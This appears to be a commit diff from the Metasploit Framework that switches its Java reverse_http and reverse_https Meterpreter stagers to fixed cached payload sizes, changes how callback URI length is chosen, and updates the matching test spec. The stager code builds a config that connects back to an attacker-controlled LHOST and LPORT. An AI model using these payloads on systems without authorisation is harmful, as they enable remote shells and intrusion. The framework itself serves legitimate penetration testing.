Revert Java back to static size for cache purposes (less cpu usage on startup)
parent
33bbf7cb7e
commit
346b1d539f
|
@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_http'
|
||||||
|
|
||||||
module Metasploit3
|
module Metasploit3
|
||||||
|
|
||||||
CachedSize = :dynamic
|
CachedSize = 5499
|
||||||
|
|
||||||
include Msf::Payload::Stager
|
include Msf::Payload::Stager
|
||||||
include Msf::Payload::Java
|
include Msf::Payload::Java
|
||||||
|
@ -40,13 +40,21 @@ module Metasploit3
|
||||||
end
|
end
|
||||||
|
|
||||||
def config
|
def config
|
||||||
|
# Default URL length is 30-256 bytes
|
||||||
|
uri_req_len = 30 + rand(256-30)
|
||||||
|
|
||||||
|
# Generate the short default URL if we don't know available space
|
||||||
|
if self.available_space.nil?
|
||||||
|
uri_req_len = 5
|
||||||
|
end
|
||||||
|
|
||||||
spawn = datastore["Spawn"] || 2
|
spawn = datastore["Spawn"] || 2
|
||||||
c = ""
|
c = ""
|
||||||
c << "Spawn=#{spawn}\n"
|
c << "Spawn=#{spawn}\n"
|
||||||
c << "URL=http://#{datastore["LHOST"]}"
|
c << "URL=http://#{datastore["LHOST"]}"
|
||||||
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
|
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
|
||||||
c << "/"
|
c << "/"
|
||||||
c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ,30+rand(256-30))
|
c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ, uri_req_len)
|
||||||
c << "\n"
|
c << "\n"
|
||||||
|
|
||||||
c
|
c
|
||||||
|
|
|
@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_https'
|
||||||
|
|
||||||
module Metasploit3
|
module Metasploit3
|
||||||
|
|
||||||
CachedSize = :dynamic
|
CachedSize = 6307
|
||||||
|
|
||||||
include Msf::Payload::Stager
|
include Msf::Payload::Stager
|
||||||
include Msf::Payload::Java
|
include Msf::Payload::Java
|
||||||
|
@ -42,13 +42,21 @@ module Metasploit3
|
||||||
end
|
end
|
||||||
|
|
||||||
def config
|
def config
|
||||||
|
# Default URL length is 30-256 bytes
|
||||||
|
uri_req_len = 30 + rand(256-30)
|
||||||
|
|
||||||
|
# Generate the short default URL if we don't know available space
|
||||||
|
if self.available_space.nil?
|
||||||
|
uri_req_len = 5
|
||||||
|
end
|
||||||
|
|
||||||
spawn = datastore["Spawn"] || 2
|
spawn = datastore["Spawn"] || 2
|
||||||
c = ""
|
c = ""
|
||||||
c << "Spawn=#{spawn}\n"
|
c << "Spawn=#{spawn}\n"
|
||||||
c << "URL=https://#{datastore["LHOST"]}"
|
c << "URL=https://#{datastore["LHOST"]}"
|
||||||
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
|
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
|
||||||
c << "/"
|
c << "/"
|
||||||
c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ,30+rand(256-30))
|
c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ, uri_req_len)
|
||||||
c << "\n"
|
c << "\n"
|
||||||
|
|
||||||
c
|
c
|
||||||
|
|
|
@ -885,7 +885,7 @@ describe 'modules/payloads', :content do
|
||||||
'stagers/java/reverse_http',
|
'stagers/java/reverse_http',
|
||||||
'stages/java/meterpreter'
|
'stages/java/meterpreter'
|
||||||
],
|
],
|
||||||
dynamic_size: true,
|
dynamic_size: false,
|
||||||
modules_pathname: modules_pathname,
|
modules_pathname: modules_pathname,
|
||||||
reference_name: 'java/meterpreter/reverse_http'
|
reference_name: 'java/meterpreter/reverse_http'
|
||||||
end
|
end
|
||||||
|
@ -896,7 +896,7 @@ describe 'modules/payloads', :content do
|
||||||
'stagers/java/reverse_https',
|
'stagers/java/reverse_https',
|
||||||
'stages/java/meterpreter'
|
'stages/java/meterpreter'
|
||||||
],
|
],
|
||||||
dynamic_size: true,
|
dynamic_size: false,
|
||||||
modules_pathname: modules_pathname,
|
modules_pathname: modules_pathname,
|
||||||
reference_name: 'java/meterpreter/reverse_https'
|
reference_name: 'java/meterpreter/reverse_https'
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue